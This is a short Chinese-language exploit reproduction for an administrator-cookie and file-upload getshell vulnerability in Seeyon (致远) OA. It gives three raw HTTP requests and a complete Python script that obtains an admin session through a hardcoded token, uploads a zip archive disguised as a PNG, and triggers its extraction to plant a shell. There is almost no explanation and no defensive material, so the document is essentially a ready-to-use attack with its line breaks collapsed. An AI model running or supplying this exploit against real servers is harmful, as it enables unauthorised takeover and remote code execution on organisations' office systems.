致远oa管理员cookie文件上传getshell漏洞复现

POST /seeyon/thirdpartyController.do HTTP/1.1Host: x.x.x.xUser-Agent: python-requests/2.25.1Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Length: 133Content-Type: application/x-www-form-urlencoded
method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04%2BLjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1

POST /seeyon/fileUpload.do?method=processUpload HTTP/1.1Host:x.x.x.xConnection: closeAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.25.1Cookie: JSESSIONID=3495C4DEF87200EA323B1CA31E3B7DF5Content-Length: 841Content-Type: multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616b
--59229605f98b8cf290a7b8908b34616bContent-Disposition: form-data; name="firstSave"
true--59229605f98b8cf290a7b8908b34616bContent-Disposition: form-data; name="callMethod"
resizeLayout--59229605f98b8cf290a7b8908b34616bContent-Disposition: form-data; name="isEncrypt"
0--59229605f98b8cf290a7b8908b34616bContent-Disposition: form-data; name="takeOver"
false--59229605f98b8cf290a7b8908b34616bContent-Disposition: form-data; name="type"
0--59229605f98b8cf290a7b8908b34616bContent-Disposition: form-data; name="file1"; filename="11.png"Content-Type: image/png
111--59229605f98b8cf290a7b8908b34616b--

POST /seeyon/ajax.do HTTP/1.1Host: x.x.x.xUser-Agent: python-requests/2.25.1Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Type: application/x-www-form-urlencodedCookie: JSESSIONID=BDF7358D4C35C6D2BB99FADFEE21F913Content-Length: 157
method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%222021-04-10%22%2C%225818374431215601542%22%5D

import requestsimport reimport time
proxy = {'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080'}

def seeyon_new_rce(targeturl):    orgurl = targeturl
    # 通过请求直接获取管理员权限cookie    targeturl = orgurl + 'seeyon/thirdpartyController.do'    post={"method":"access","enc":"TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04+LjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4","clientPath":"127.0.0.1"}    response = requests.post(url=targeturl,data=post,proxies=proxy, timeout=60,verify=False)    rsp = ""    if response and response.status_code == 200 and 'set-cookie' in str(response.headers).lower():        cookies = response.cookies        cookies = requests.utils.dict_from_cookiejar(cookies)        # 上传压缩文件        aaa=cookies['JSESSIONID']        print(aaa)        targeturl = orgurl + 'seeyon/fileUpload.do?method=processUpload'        files = [('file1', ('11.png', open('1.zip', 'r'), 'image/png'))]        print()        headers = {'Cookie':"JSESSIONID=%s"%aaa}        data = {'callMethod': 'resizeLayout', 'firstSave': "true", 'takeOver':"false", "type": '0',                'isEncrypt': "0"}        response = requests.post(url=targeturl,files=files,data=data, headers=headers,proxies=proxy,timeout=60,verify=False)        if response.text:            reg = re.findall('fileurls=fileurls+","+'(.+)'',response.text,re.I)            print(reg)            if len(reg)==0:                exit("匹配失败")            fileid=reg[0]            targeturl = orgurl + 'seeyon/ajax.do'            datestr = time.strftime('%Y-%m-%d')            post = 'method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%22' + datestr + '%22%2C%22' + fileid + '%22%5D'            #headers = {'Cookie': cookies}            headers['Content-Type']="application/x-www-form-urlencoded"            response = requests.post(targeturl, data=post,headers=headers,proxies=proxy,timeout=60,verify=False)            print(response.text)
seeyon_new_rce("url")